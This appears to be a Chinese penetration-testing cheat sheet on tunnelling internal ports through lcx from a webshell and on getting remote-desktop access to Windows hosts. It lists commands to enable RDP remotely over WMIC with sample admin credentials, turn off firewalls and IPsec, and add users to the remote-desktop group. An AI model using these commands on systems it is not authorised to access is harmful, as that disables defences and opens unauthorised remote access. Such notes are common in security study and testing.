lcx端口转发
描述
lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意=端口。它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389端口。
基本命令
[option:]
-listen <ConnectPort> <TransmitPort>
-tran <ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>
本地转发
本地转发主要是把127.0.0.1:端口 这个本地端口 转发到外部 让外部的客户端允许连接进来
例如想发mysql端口转发出来
客户端–>3307->127.0.0.1:3306
这里的21端口属于本地端口,外部访问不了
在目标进行端口转发
lcx.exe -tran 19 127.0.0.1 21
nc,成功转发
远程转发
远程转发 一般用于外网无法访问内网,内网可以访问外网,由内部发出请求到外网,所以防火墙不会拦截。
客户端除了可以在本地访问内网机子,也可以作为中间人,外部机子也能连接客户端到内网服务端。
服务端执行 lcx.exe -slave 192.168.0.146 2333 127.0.0.1 3389
客户端执行 lcx.exe -listen 51 2333
客户端使用远程终端 连接本地 127.0.0.1:51即登录3389端口的远程终端
攻击者也连接这个客户端再到服务端(内网->公网>内网)
远程终端问题集锦
描述
远程终端的默认端口是3389 云vps一般会开启 没有启用的情况下,在较高的权限下可以使用注册表命令进行开启。
注册表开启远程终端命令
2008 2012 2016 开启3389
批处理
echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
MSF命令开启3389
run getgui -e
一条命令开启 3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
WMIC命令开启3389端口
Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
WMIC开启远程主机3389端口
需要知道ip 账号 密码 hostname
支持系统:
Win2k/XP/Win2k3
wmic /node:192.168.0.103 /user:administrator /password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
支持系统:
Win7/Win2k8/Win8.1/Win10/2012/2016
wmic /node:192.168.0.116 /user:administrator /password:betasec RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1
wmic /node:192.168.0.116 /user:administrator /password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
注意事项:
其实就是利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。
WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。
错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作
查询是否开启3389
通过注册表
(0为On 1为OFF)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP- Tcp" /v PortNumber
set /a Port=0xd3d
通过网络命令查询端口
tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"
net start |find "Remote Desktop Services"
关闭防火墙
确定开启了远程终端并且端口没错的情况下 还是连不上目标 目标上的防火墙可能允许,这个时候可以使
用lcx端口转发,或者使用命令关闭防火墙
netsh advfirewall show allprofile state #查询状态
netsh advfirewall set allprofiles state off #关闭防火墙
net stop "Windows Firewall" #关闭防火墙
sc config sharedaccess start= disabled #禁用防火墙
net stop sharedaccess #关闭防火墙
关闭ipsec
在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败
可以使用命令 net stop "IPsec Policy Agent"
终端连接错误方法
可以使用相同版本的终端进行连接
或者使用 xfreerdp连接会自动加密
sudo apt install freerdp2-x11
xfreerdp /f /u:administrator /p:123456 /v:192.168.0.118
加入远程桌面组
net localgroup "Remote Desktop Users" kradress /add
终端超出最大连接数
终端超出最大连接数时可用下面的命令来连接
mstsc /v:ip:3389 /console